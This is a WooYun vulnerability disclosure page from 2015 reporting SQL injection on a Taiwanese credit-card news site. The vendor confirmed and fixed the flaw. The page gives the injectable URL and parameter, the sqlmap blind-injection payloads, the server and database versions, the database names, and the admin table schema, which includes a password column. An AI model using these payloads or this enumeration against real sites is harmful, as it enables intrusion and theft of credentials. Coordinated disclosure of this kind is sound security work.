当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0165290

漏洞标题：卡優新聞網存在SQL注入（臺灣地區）

相关厂商：卡優新聞網

漏洞作者： 路人甲

提交时间：2015-12-28 17:23

修复时间：2016-01-27 15:09

公开时间：2016-01-27 15:09

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态： 已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-28： 细节已通知厂商并且等待厂商处理中
2015-12-28： 厂商已经确认，细节仅向厂商公开
2016-01-07： 细节向核心白帽子及相关领域专家公开
2016-01-17： 细节向普通白帽子公开
2016-01-27： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

详细说明：

優新聞網(CardU.**.**.**.**)於2006年2月正式 開站，主要是提供消費者生活上所使用之各種卡類（包含有：信用卡、金融卡、儲值卡、會員卡及其他消費相關卡類）的資訊平台 ，並且以專業的新聞角度，採訪報導相關的財經、理財、金融、消費、生活、娛樂、藝文、休閒、3C…等，並且結合即時訊息、優惠 情報、資料搜尋、分析比較、市場調查、社群討論等加值服務功能，讓卡優新聞網成為一個專業的「卡優．卡油．卡友」的資訊服 務平台。
注入点：http://www.cardu.**.**.**.**/card/card_info.php?cc_pk=1287&cc_group_id=484

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cc_pk (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cc_pk=1287 AND 8832=8832&cc_group_id=484
    Vector: AND [INFERENCE]
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: cc_pk=1287 AND (SELECT * FROM (SELECT(SLEEP(5)))PhvN)&cc_group_id=484
    Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5.0.12
current database:    'carduweb'
current user is DBA:    False
available databases [4]:
[*] carduadm
[*] carduweb
[*] information_schema
[*] phpbb2


Database: carduadm
+----------------------+---------+
| Table                | Entries |
+----------------------+---------+
| mng_userlog          | 22301   |
| mng_prog_control     | 2071    |
| mng_user_menu        | 631     |
| mng_menu             | 135     |
| mng_user_group       | 66      |
| mng_user             | 45      |
| mng_user_20130914    | 28      |
| mng_user_group_email | 12      |
| selectitem           | 6       |
+----------------------+---------+


Table: mng_user
[14 columns]
+---------------+-------------+
| Column        | Type        |
+---------------+-------------+
| mu_acctime    | int(11)     |
| mu_crstmp     | datetime    |
| mu_dept       | char(2)     |
| mu_email      | varchar(60) |
| mu_lastaccess | datetime    |
| mu_lastlogin  | datetime    |
| mu_logincnt   | int(11)     |
| mu_name       | varchar(20) |
| mu_pwd        | varchar(20) |
| mu_servtype   | char(1)     |
| mu_sn         | int(11)     |
| mu_type       | char(1)     |
| mu_userid     | varchar(20) |
| mu_valid      | char(1)     |
+---------------+-------------+

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2015-12-28 18:05

厂商回复：

感謝通報

最新状态：

2016-01-27：已修復